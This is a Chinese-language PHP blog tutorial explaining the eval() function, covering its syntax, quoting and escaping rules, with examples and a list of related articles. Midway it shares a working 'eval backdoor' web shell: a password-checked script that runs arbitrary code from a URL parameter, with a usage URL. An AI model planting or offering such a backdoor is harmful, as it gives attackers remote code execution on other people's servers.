PHP eval函数使用介绍


Posted in PHP onDecember 08, 2013

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。

代码:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函数介绍

定义和用法

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

语法
eval(phpcode)

参数 描述
phpcode 必需。规定要计算的 PHP 代码。

提示和注释
注释:返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>

输出:
This is a $string $time morning!
This is a beautiful winter morning!

PHP 相关文章推荐
一个ubbcode的函数,速度很快.
Oct 09 PHP
Smarty模板快速入门
Jan 04 PHP
php中AES加密解密的例子小结
Feb 18 PHP
ThinkPHP之N方法实例详解
Jun 20 PHP
PHP中$this和$that指针使用实例
Jan 06 PHP
PHP通过API获取手机号码归属地
May 28 PHP
PHP cURL初始化和执行方法入门级代码
May 28 PHP
值得分享的php+ajax实时聊天室
Jul 20 PHP
thinkPHP实现多字段模糊匹配查询的方法
Dec 01 PHP
phpMyAdmin无法登陆的解决方法
Apr 27 PHP
php利用fsockopen GET/POST提交表单及上传文件
May 22 PHP
PHP文件管理之实现网盘及压缩包的功能操作
Sep 20 PHP
Server.HTMLEncode让代码在页面里显示为源代码
Dec 08 #PHP
php自定义的格式化时间示例代码
Dec 05 #PHP
php调整gif动画图片尺寸示例代码分享
Dec 05 #PHP
PHP数据库链接类(PDO+Access)实例分享
Dec 05 #PHP
php函数指定默认值方法的小例子
Dec 04 #PHP
PHP函数microtime()用法与说明
Dec 04 #PHP
php实现memcache缓存示例讲解
Dec 04 #PHP
You might like
人工智能开始玩《星际争霸2》 你的操作跟得上吗?
2017/08/11 星际争霸
THINKPHP+JS实现缩放图片式截图的实现
2010/03/07 PHP
PHP使用PhpSpreadsheet操作Excel实例详解
2020/03/26 PHP
JSON 教程 json入门学习笔记
2020/09/22 Javascript
为radio类型的INPUT添加客户端脚本(附加实现JS来禁用onClick事件思路代码)
2010/11/11 Javascript
收集的一些Array及String原型对象的扩展实现代码
2010/12/05 Javascript
一些常用的JavaScript函数(json)附详细说明
2011/05/25 Javascript
js里怎么取select标签里的值并修改
2012/12/10 Javascript
jquery根据name属性查找的小例子
2013/11/21 Javascript
javascript操作referer详细解析
2014/03/10 Javascript
前端必备神器 Snap.svg 弹动效果
2014/11/10 Javascript
js实现延时加载Flash的方法
2015/11/26 Javascript
JavaScript实现显示函数调用堆栈的方法
2016/04/21 Javascript
jQuery插件HighCharts实现的2D回归直线散点效果示例【附demo源码下载】
2017/03/09 Javascript
配置nodejs环境的方法
2017/05/13 NodeJs
jquery实现简单实用的轮播器
2017/05/23 jQuery
Javascript中Promise的四种常用方法总结
2017/07/14 Javascript
基于Vue开发数字输入框组件
2017/12/19 Javascript
Node.js中的child_process模块详解
2018/06/08 Javascript
JS合并两个数组的3种方法详解
2019/10/24 Javascript
微信小程序实现录音功能
2019/11/22 Javascript
Python使用scrapy抓取网站sitemap信息的方法
2015/04/08 Python
Python基于列表list实现的CRUD操作功能示例
2018/01/05 Python
Python基于matplotlib画箱体图检验异常值操作示例【附xls数据文件下载】
2019/01/07 Python
通过 Django Pagination 实现简单分页功能
2019/11/11 Python
浅谈Python线程的同步互斥与死锁
2020/03/22 Python
pandas之分组groupby()的使用整理与总结
2020/06/18 Python
日本著名的服饰鞋帽综合类购物网站:MAGASEEK
2019/01/09 全球购物
乌克兰在线商店的价格比较:Price.ua
2019/07/26 全球购物
简述DNS进行域名解析的过程
2013/12/02 面试题
工伤事故证明
2014/10/20 职场文书
维稳承诺书
2015/01/20 职场文书
oracle通过存储过程上传list保存功能
2021/05/12 Oracle
Pytorch中的学习率衰减及其用法详解
2021/06/05 Python
Spring Boot 实现敏感词及特殊字符过滤处理
2021/06/29 Java/Android
Winsows11性能如何? win11性能测评多核竟比Win10差了10%
2021/11/21 数码科技